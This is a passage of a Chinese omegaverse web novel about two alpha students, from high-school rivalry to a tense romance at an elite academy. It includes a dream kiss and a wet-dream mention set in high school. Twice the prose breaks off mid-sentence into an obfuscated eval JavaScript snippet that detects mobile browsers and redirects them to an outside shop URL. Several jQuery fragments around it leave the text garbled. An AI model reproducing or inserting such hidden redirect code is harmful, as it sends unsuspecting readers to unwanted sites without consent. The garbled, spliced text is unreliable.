他猛地止住,擦干净眼泪才起身看向对方。 果然是他一直嫉恨的那位,温疏。说的话也自大狂妄得让人厌恶,根本听不出是在安慰。还偷听别人打电话! 他冷着脸问:“你为什么在这里?你认识我?” 对方笑了一下,轻轻耸肩摊手,“每次第二名都是你,看多了就记住了啊。休息室没写着你的名字吧?我为什么不能来?再说,是我先来这里的,你自己没看到我,就蹲在那里哭。” “你!——”哪壶不开提哪壶,齐云朔红着眼睛,咬牙死死瞪着温疏,眼角又滑下湿痕。 没想到他又哭了,温疏无辜地眨了眨眼,又轻叹了口气,哄他:“好吧,那我下次让你赢好吗?别哭了。” “谁要你让了?!”齐云朔更生气了,涨红着脸低吼出声,“看不起谁啊?” 温疏怔了一下,又笑,“好啊,那就来打个赌吧,如果你这学期期末赢过我,我就答应你一件事。怎么样?” 尽管不太喜欢温疏,也不想和他接触,但这个赌就像是又一次证明自己、弥补过去的机会,齐云朔还是点了头。 没想到,他之后就被温疏“缠”上了。 他们不同班,但时常能在操场、走廊和上下楼梯间偶遇。他以前是装作不认识,但现在遇到,温疏会笑着与他打招呼,他也只好勉为其难地回应了。 此外,他还发现温疏也经常去那间休息室,却总是躺在角落的沙发里睡觉,压根不出声,害他从前待在休息室的时候根本没注意到,以为里面没人。 有次他在休息室里学习,恰好有几道难题还在琢磨。而温疏刚好醒着,就凑过来看,与他一起思考讨论,共同想出好几种解法。 后来他们就经常一起学习和交流。他发现温疏的思路与他截然不同,总是另辟蹊径,给他很多启发,令他不由心生敬佩,当然,还是嫉恨居多。 慢慢熟悉之后,他还发现温疏特别喜欢使唤和捉弄人。经常要他跑腿,作业全丢给他写,还总爱开他玩笑,说他性格古板、老是端着,把他惹生气又很快笑嘻嘻地道歉。他有些受不了,但没招。 日子如流水一样过去,每天吵吵闹闹,好像也没有发生什么特别的事,可他回过头时却莫名发现,和温疏接触以后,他其实过得还不错。 甚至,有一段时间,温疏请了病假,他好几天没见到人。有天他走在走廊,忽然听见有人喊他的名字,他回过头,发现不是温疏,竟会觉得失落。 他慢慢开始期待每天都能见到温疏。 后来临近期末,温疏经常身体不舒服,虽然没请病假,却在休息室从早睡到晚。 有天他实在看不过眼,想把人喊醒,刚靠近沙发,还没出声就被人攥住手腕。 “喂,温疏。” 他下意识要挣扎,低头却看见温疏闭着眼睛,蹙着眉,像是很难受的样子,浑身汗湿,白皙肌肤透出漂亮的粉。明明平日里总是笑得自信张扬,好像没什么是自己做不到的,狂得不行,这会儿竟有一种难言的脆弱。 不过失神一瞬,对方便抓着他的手,放到脸颊边来回轻蹭,眉头舒展,还轻轻喟叹一声,“哇,好凉快。” 掌心里传来柔软而温热的触感,他怔了一下,而后像是触了电,飞快把手抽回,背到身后,微微抖着声问:“你、你怎么了?” “易感期。”温疏说着又拧起眉,有些不满地看他,还伸手过来抓着他的衣袖轻轻扯动。眼尾微微湿润发红,好像有一点委屈的样子,像是在撒娇。 齐云朔不由睁大眼,心跳一瞬剧烈,身体僵硬,却仍背着手,故意冷着脸道:“那就请假回家啊,天天在这睡。” “不要!” 温疏猛地收回手,一下坐起来,撇开头,眉心蹙得更深,面色难看,似乎很是厌恶。 过一会儿又转脸看他,伸臂揽过他的腰,迫使他也坐在沙发上,而后偏头用脑袋顶一下他,笑嘻嘻道:“我要是回家了,你可就见不到我了。万一你想我了怎么办?” 又开玩笑!谁会想他!齐云朔语气冷淡地回:“放一百个心吧,不会。”说着边掰开温疏的手,指尖却颤抖,耳廓还有些红。 “哈哈……” 对方在他耳边闷声低笑,笑得往他身上倒,身体大半重量都压过来。 他不知道温疏为什么笑,有些恼羞成怒,冷着脸,却撑着没躲开。 过一会儿,温疏又搂他,脸颊轻轻埋在他的颈窝里,“那就算我会想你行不行?齐云朔,我不想回家,所以你快分化成omega,帮帮我吧。” 明明还未分化出第二性别,他感受不到信息素,可对方靠过来的一瞬间,他好像闻到一股清新舒适的草木香,还混着一点甜。 胸腔里瞬间又跳动剧烈,大得他听不见别的声音,只觉身体陡然发起热,脸颊烫得要冒烟,被温疏蹭过的地方像是电流窜过,酥麻一片。 他忍不住推开温疏站起身,莫名其妙没敢看对方的脸,背对着人,抖着声,咬牙切齿丢下一句“别开这种玩笑”便落荒而逃。 后来一整天他都心不在焉,动不动就回想起温疏说的“帮帮我吧”,甚至连梦里都在想。 场景还是在那间休息室,开头也和白天发生的差不多。 可梦里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759722|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温疏在说完那句“帮帮我吧”,就一点点凑近他,轻轻吻在他的脸颊。又一寸寸往左移动,在他脸上不停啄吻着,直到印上他的嘴唇。 他僵着身体不敢动,瞳孔剧烈颤动着放大,呼吸都屏住,而后慢慢闭上眼睛,后来还忍不住张开嘴。 甚至他反客为主,伸臂拥住对方,一点点加重力道,把人紧紧圈在自己怀里。又逐渐把人压在沙发上,吻得温疏喘不过气来,红着脸不停推他,双眸亮晶晶的,睫毛和眼尾都湿润,像是委屈地跟他撒娇。 可过了一会儿,温疏又主动伸臂揽住他的脖颈,把自己送上来,探出舌不停舔吻他的嘴唇,甚至伸腿攀着他,热情又大胆。 但他没经历过,完全想象不出那种感觉,更清楚温疏绝对不可能这样做,很快就醒了。察觉某处温凉湿润,他只觉震惊、羞愧,可处理完之后,又有一种怅然若失感。 不过隔天见到温疏,还是羞愧占据压倒性优势,令他丝毫不敢看温疏一眼,一直避着走,也不去休息室,连躲了好几天。 等他好不容易缓过来,又听说温疏请了病假。好久没看见温疏,他又开始后悔之前那样躲着对方。他每天都去休息室等着,还有事没事就找借口跑他们班去。 他等了一天、两天,一周、半个月,等到快变成一尊望夫石,温疏一直没回来。每次失望的时候,他都安慰自己再等等,没准明天就见到了,就像当初他救治那条小狗一样,会突然出现奇迹。 结果,没想到,直到这学期末,甚至下个学期末,都毕业了,他再没见过温疏。 他终于重回第一的宝座,赢了温疏,却没等到对方兑现承诺。他也尝试联络过,可温疏像是人间蒸发,杳无音讯。 他的暗恋也就这样无疾而终。 但没想到再次见面,是在帝都的普莱克斯。 温疏和他同为一年级新生,却还是空降。此时学期已经进行到一半,班里的同学早都形成了自己的小团体。 那时温疏是个没有等级的alpha,虽是出身顶级世家,但同学们从没听过他的名字,就把他当成没什么实力、也不太受家族重视的关系户,经常聚众挑衅、欺负他。 而齐云朔在高中毕业之后就分化成了S级alpha,以第一名的优异成绩入学,家族更是圈内新贵、如日中天,他从入学时就受到很多关注,多得是人巴结。 再见到温疏,齐云朔自然是极高兴的。 可温疏却像不认识他一样,表现得相当冷漠,即便与他面对面坐着,话不跟他说一句,眼睛也不看他,更不记得自己还欠着他一个承诺。 于是他的惊喜又变成委屈和怨怼。 对方冷漠,他也冷漠,帮温疏教训那些不长眼的人时都是偷偷的。 甚至他想过,那些人再过分一些吧,要是能把温疏逼得主动寻求他的帮助,他会考虑手下留情的。 但温疏好像不需要他的帮助。 温疏那样聪明,落下的课业两周就追上了,期中成绩比某些混了半年的还高。 明明测不出等级,精神力与身体素质却直逼A+,训练课时完全把A级对手压着打。 等到温疏易感期的时候,像是换了个人,他从未见过那样暴躁的温疏。一群不怕死的倒霉蛋还撞上枪口,据说是被温疏揍得一个月下不了床,从此避着人走。 但温疏也因此被关了禁闭室。 他此前就听说那地方不是人待的,担心得不行,赶去探望。 却见到温疏刚挣脱了铁链的束缚,正坐在床边,伸手摸索着脸上的金属止咬器,似乎在为怎么拆下来发愁。双腕明晃晃一圈青紫印记,一道血痕缓缓滑下手臂,被白皙肤色衬托得更加触目惊心。 温疏却只是微拧着眉,表情冷淡平静,好像没受到什么折磨。碎成几截的锁链还躺在他脚边,血迹斑斑。 听见齐云朔的声音,温疏抬眸望过来。 透过凌乱略长的额发,他与一双白金色的眼睛对视,刹那就被夺去心神。 “帮我。” 温疏总算主动开口跟他说话,嗓音微哑,还莫名将手臂放下来,挡在腿间,却吸引着他的目光。 他很快反应过来,不由睁大眼,双颊微热,这才惊觉空气中充斥着温疏的信息素,同为alpha,他本该排斥,却什么不适反应都没有。 甚至他像是被蛊惑了,不由自主地朝温疏走去,双手轻捧起对方的脸,替对方摘下止咬器时,还借着动作,故意不小心,指尖偷偷蹭了一下温疏的唇。 可他刚把止咬器摘下来,温疏便撇过头避开他,还嫌弃似的用手背擦了一下嘴唇。他这才注意到,因为戴着止咬器,温疏的口腔无法完全闭拢,唇边挂着一道丝线。 他想,温疏应该只是在擦口水,却还是被这个动作刺伤,不由沉默地紧抿着唇,冷着脸盯着对方。 空气宛如结冰,过了会儿,温疏终于又抬眼看他,“好吧,算是又欠你一次。想要什么?” 19.第 19 章 齐云朔怔了一下,又微微睁大双眼。 原来温疏没忘! 他顿时兴奋起来,呼吸一瞬粗重,居高临下望着温疏,视线从对方的脸颊、脖颈,一寸寸往下游移,忍不住轻咽了口唾沫。 他见过温疏平日里的自信张扬,生病时的苍白脆弱,倒头一次见温疏这样狼狈和……性感。 对方微仰着头看他,黑发凌乱,脸上还有止咬器印出的红痕,微张着嘴喘息,唇瓣湿润发红,甚至隐约可见一点殷红舌尖。 领口松散微敞,胸膛剧烈起伏着,饱满肌肉仿佛要将纽扣撑开,自脖颈淌下的汗水消失在中心那道深长沟壑。而以齐云朔现在的角度,能看清再往下一点的风景。 受易感期的影响,温疏的身体会不受控地发热。似乎不想让他看到什么,手臂挡在腿间,却欲盖弥彰,反吸引着他的目光,空气中弥漫的信息素愈发浓郁而诱人。 齐云朔目不转睛盯着,不自觉贪婪嗅闻那股馥郁的甜香,只觉自己的身体也跟着热烫,喉咙焦渴,心底的欲望不断叫嚣着,深藏的恋慕几乎要脱口而出。 这种情境下,温疏问他要什么,他只有一个想法。 他好想温疏,想得要疯了。见不到温疏的日子里,他在脑子里编排了无数种重逢的场景,又梦到过温疏无数回,把人欺负了千百遍。易感期的时候,他都是想着温疏独自煎熬过去的。 刚好温疏也有反应。 这是大好的机会,不是吗? 可张嘴的瞬间,理智回笼,他又强行把贪婪而丑陋的欲望咽回去—— 他们之前那么久没见,可重逢到现在,都还没坐下好好叙叙旧,联络联络感情。他是喜欢了很久,却从没表白过,结果他一开口就是想要温疏。 对温疏来说,这会不会太过突然、太过莫名其妙,会不会把人吓到?何况,他们同为alpha,尽管他不觉得有什么所谓,可他贸然提出这样的要求,温疏会不会认为他在挑衅、羞辱自己? 甚至,或许温疏先前就是因为讨厌他,才不肯与他联系,再见面的时候才这样冷淡,今天过后会不会更讨厌他、更疏远他? 他紧抿着唇,艰难挣扎片刻,终于赶在温疏耐心耗尽前开口,“你能不能,别再装作不认识我?我们还像以前那样……可以吗?” 温疏怔了一下,似是有些意外,没有马上答应,微抿着唇犹豫。 可他觉得自己的要求已经那样卑微那样小,他不知道除了这个还能向温疏讨要什么,要别的都没有意义。 他贪心地不想让步,在等温疏开口的这几秒钟,只觉从未有过的煎熬。 正决定改口的时候,温疏终于点头应了,“好。” 齐云朔满心欢喜地把温疏从禁闭室里捞出去,但很快发现自己高兴早了。 温疏果然没再故意疏远他,但对他的态度也就是“普通朋友”,与以前相比差了很多。 初时他还知足,觉得温疏已经答应得勉强了,他不能再奢望别的。但人总归是贪婪的,他渐渐还是不满。 特别是,大家已经见识过温疏并不是好欺负的,还特别厉害,有些人已经对温疏改观,主动向他赔礼道歉、向他示好。温疏竟没拒绝,还不计前嫌地对他们笑。 一学年过去,温疏越发优秀,身边围着的人也越来越多。虽然各个都是“普通朋友”,并不深交,但他齐云朔对温疏来说,好像也只是“普通朋友”,温疏对他和对别人并无差别。 这样的状态不上不下,让他更难受,忍不住想要和温疏更亲近、更亲密,占有欲也与日俱增。 他情不自禁、难以自控,嘴上不说,实际给温疏更多关注,默默让出很多资源,还忍不住暗中插手温疏的日常社交,连平常上课的什么协作任务,都要找各种借口占着温疏队友的名额,不给别人任何机会。 发展到后来,所有妄图越过他接近温疏的,都会收到他的警告。甚至他有时候会忍不住,当着众人的面,对温疏做出一些容易引起误会的亲密举动。 他表现得实在有些越界,长眼睛的人都能看出他在追求温疏,好多人觉得这种不伦的“AA恋”很刺激,在论坛各种吃瓜起哄,异常起劲。而这也是他的手段之一,他要让别人都知难而退。 尽管这样,温疏对他还是淡淡的,不算亲密,也不过分冷漠,好像只是在应付给他的承诺,对他做的那些也从不过问,毫不在意。还一如既往地、一视同仁地对别人好、对别人笑。 齐云朔心里委屈不满,却又怕如果自己挑明,温疏会连这样的敷衍都不肯,甚至方便对方拒绝自己,只好一直憋着,从不承认心意,假装那些都是误会和谣言,争风吃醋都不敢光明正大。 到二年级下学期,恰逢学生会换届选举,第一轮预投票时,竞选主席的学生中,温疏的票数断层第一,而齐云朔排第二,被拉开将近三分之一。 学生间却忽然传开流言,说温疏一直在通过不正当的手段换取利益,否则以他一个没有等级的alpha,怎么可能有今天的地位。学生论坛上的相关帖子一度成为热门,里面罗列了一些似是而非的所谓证据,说齐云朔就是被他勾引的人之一。 而两天后就是竞选大会,紧接着是第二轮的正式投票。在竞选之前出现这样的事,温疏很难赢。 这样的经历和处境,与齐云朔高中时遇到的十分相像。 作为亲历者,他自然明白这些有多伤人,若是他直接为温疏说话,或是温疏下场回应,只会助长对方气焰,让谣言发酵得越来越厉害,让温疏遭受更多非议。 从前他只会内耗,现在他有别的办法。 他一边担忧得不行,另一边却又感到无比的紧张和兴奋,不敢相信自己竟然这样卑劣,这种时候还想着温疏会不会需要他,会不会低下身段主动来寻求他的帮助。 但没想到,他暗中找出了造谣者,还没来得及做什么,温疏找上来,说要自己处理。他有些不甘心,也只好点头应了。 竞选大会那天,温疏丝毫没被影响,依旧表现得相当出色。但还是有人故意找茬,将那些谣言搬上台面,要求温疏正面回应。 对方咄咄逼人,要求无理,温疏只是微微一笑,从容不迫开口: “我很遗憾,我得到的每一张选票都来自同学们对我真实的信任。你不是在质疑我,而是在质疑所有为我投票的人,质疑他们的判断,质疑他们会被‘不正当手段’收买。我认为,这是对他们的一种侮辱。如果你,或任何人,有关于我的‘不正当手段’的确凿证据,欢迎依照学院规章,正式向风纪委提出检举,我愿意接受最严格的调查……” 温疏寥寥几句,将攻击者置于所有人的对立面,他话音未落时,观众席已经有许多人用力点头,表情愤恨。 接着他还当场设下擂台,邀请质疑他能力的人与他对擂,不限任何方面。 有人没见过温疏,只从谣言里认识他,得知他没有等级,很是轻蔑地上去了。结果刚闻到温疏的信息素,张嘴就吐了,都没撑过三秒。前排的评委席等级不低,也是各个面色苍白,相当礼貌地请他收回信息素。 温疏彬彬有礼地道歉,紧接着又提出一份全新议案,直击当前痛点,惠及所有人。大家的注意力很快被转移到“自身的利益”上,没人再管他到底有没有污点。 于是,支持者更拥护他,中立者因利益倾向他。即便是质疑者,在巨大的共同利益之前,继续攻击只会显得不合时宜、自私自利,他们本就自居道德高位,此时只能哑火。 明明答辩时间已经超出许多,但没人有异议,结局也毫无悬念。 温疏是众望所归的主席,而齐云朔屈居第二。 选举大会快结束之前,会场气氛松懈,竟有人八卦地当众问温疏:“听说,温主席与齐副主席关系不一般,是真的吗?温主席是怎么看待副主席的呢?” 没想到真有人敢问,众人立时兴奋地竖起耳朵。 齐云朔坐在台下,闻言立刻身体紧绷,死死盯着温疏,双手攥得指尖发白,掌心微微出汗。 却见温疏站在聚光灯下,笑容得体,语气平静,“齐副主席是一位值得尊敬的竞争对手,我很期待未来与他合作,也相信我们都会秉持‘对事负责、公私分明’的原则,将学院与大家的利益置于首位。至于其他方面的关系……” 说到此处,温疏话音微顿,齐云朔忍不住轻咽了口唾沫,双眼紧盯着温疏,生怕错过任何。 但温疏仍看着众人,笑容有一点无奈,语气依旧温和坦然,“呵,感谢大家的关心,不过,我们之间与在座的大多数人一样,只是即将共事的同窗。希望大家能将目光更多地投向我们未来的工作,而非这些只为了博人眼球、毫无根据的传闻。” “好吧,让我们感谢温主席的耐心解答。” 虽然没有得到什么劲爆消息,众人也知足了,会场掌声雷动。 而齐云朔望着被聚光灯笼罩的、笑得分外好看的温疏,面色难看至极,双手攥着座椅扶手,指尖掐得坚硬木材都凹陷进去。 选举结束后,很快迎来学年末的总测试。 温疏还是测不出等级,但这一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774027|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只是微微靠近,仪器就吱哇乱叫地崩溃了。 众人傻眼,但经过前头那些事,他们已经知道温疏其实非常厉害,也是这时候才反应过来,温疏并不是没有等级,而是高到超出仪器的测量范围了,至少是S级。 消息传出,温疏的人气进一步暴涨,风头无两。 当上主席后,温疏一直在为践行承诺努力,也当真如他自己所说,只将齐云朔当成同窗、同事,对人不咸不淡。 齐云朔面上没什么表示,心里的委屈和不甘却潜滋暗长,快将他吞没。 学年结束,即将迎来两个月的长假。 学生会进行假期前最后一次会议之后,众人纷纷离开。 一想到又会有很长时间见不到面,齐云朔忍不住叫住温疏。 但温疏没理他,甚至看都不看他一眼,扭头就走,冷漠得要命。 “温疏!” 齐云朔立刻就被挑起火气,咬牙切齿叫了一声,大步追上去。 没走两步,他看见温疏忽然掏出手机放在耳边,“喂……” 不知道是与谁在打电话,温疏竟边说边笑,在树荫下慢悠悠来回走,指尖还轻拈着一枚树叶把玩,语气是前所未有的轻松和温柔。 阳光透过枝叶倾洒,淡金的光斑在他身上流淌,令眉目都变得柔和,好像身上环绕着一条银河。 齐云朔看得发怔,静默站在原地,出神一会儿后又反应过来,忍不住嫉妒和猜疑。 这样的状态,明显电话另一头的人与温疏关系亲近,十分相熟,甚至无话不谈。他和温疏曾经就是这样的。 这个人会是谁?在普莱克斯同窗两年,他没见过谁与温疏的关系这样好,所以不是校内的人。那就是在校外认识的了? 难道是当初温疏与他分开之后才交的朋友吗?他不在的时候,是这个人取代了他的位置吗?在温疏故意疏远他,连亲口给的承诺都敷衍的时候,也和这个人联系紧密吗? 他们是什么关系呢?只是朋友吗?温疏公开否认与他关系不一般的时候,心里会在想这个人吗?温疏和这个人做过亲密的事吗? 齐云朔忍不住胡思乱想,双手攥得死紧,眼神都变得阴沉。 又过了会儿,温疏终于打完电话,抬头发现他一直盯着自己,不由蹙眉问:“你跟着我做什么?” “……”齐云朔被问住,怔了一下,又撇过头冷哼一声,“谁跟着你了,我也走这条路。” 他叫住温疏、追上来的时候,其实没想好要做什么。或许只是想多看两眼温疏。而且学期末这阶段很忙,他都没怎么和温疏单独说过话。 温疏挑眉戏谑,“我要去校医院,你也去吗?” “校医院?”齐云朔马上转脸看向对方,眉毛蹙起,面露担忧,“你怎么了?生病了吗?” “没。我易感期要到了,找李医生拿抑制剂。”像是觉得他的反应有趣,温疏轻笑着看他。 齐云朔忍不住避开视线,故作平淡地“哦”一声,想到以前,又问:“你以前不是经常请病假吗?现在身体好了?” “呵,你现在才知道问?”温疏抱起双臂,嗤笑一声。 “不是!”齐云朔猛地转脸看向温疏,眼圈发红,嗓音微哑,“我一直想问你的,没找到机会。你当时那么久没来上学,我——” “怎么,想我吗?”温疏挑眉,笑着打断他。 “……”齐云朔轻抿起唇,目光躲闪着,只觉脸颊发热,过会儿还是诚实地点头。 他垂着眼,余光瞥见温疏似乎向他走近,又忍不住抬起头。 只见温疏紧盯着他,步步逼近,眸中闪过一抹白金色,笑得异常勾人,“有多想?” 话音落下,空气中似乎弥漫开一股馥郁花香,齐云朔不由睁大眼,呼吸陡然粗重,脸颊与耳廓一瞬热烫得快要冒烟。 见温疏离自己不到半臂距离,他忍不住偏头避开视线,喉头轻滚几下,过会儿又伸手,试探地轻牵住温疏。 但见温疏没躲,他有些惊喜,又一点点加重力道,直到把人紧紧攥在手里,望着温疏,嗓音愈发低哑,“很想,每天都想,做梦都在想,想得快疯了……” 话音落下,温疏好一会儿都没反应,只是抿着唇看他。 空气静默,齐云朔被盯得心头发痒,忍不住视线下移,落到温疏的唇上。 还没等他印上去,温疏忽然伸了另一手掌住他后脑,猛地将他拉近,竟先一步吻在他嘴唇。 贴了一会儿,唇瓣抵着他的轻轻开合, “去我房间。”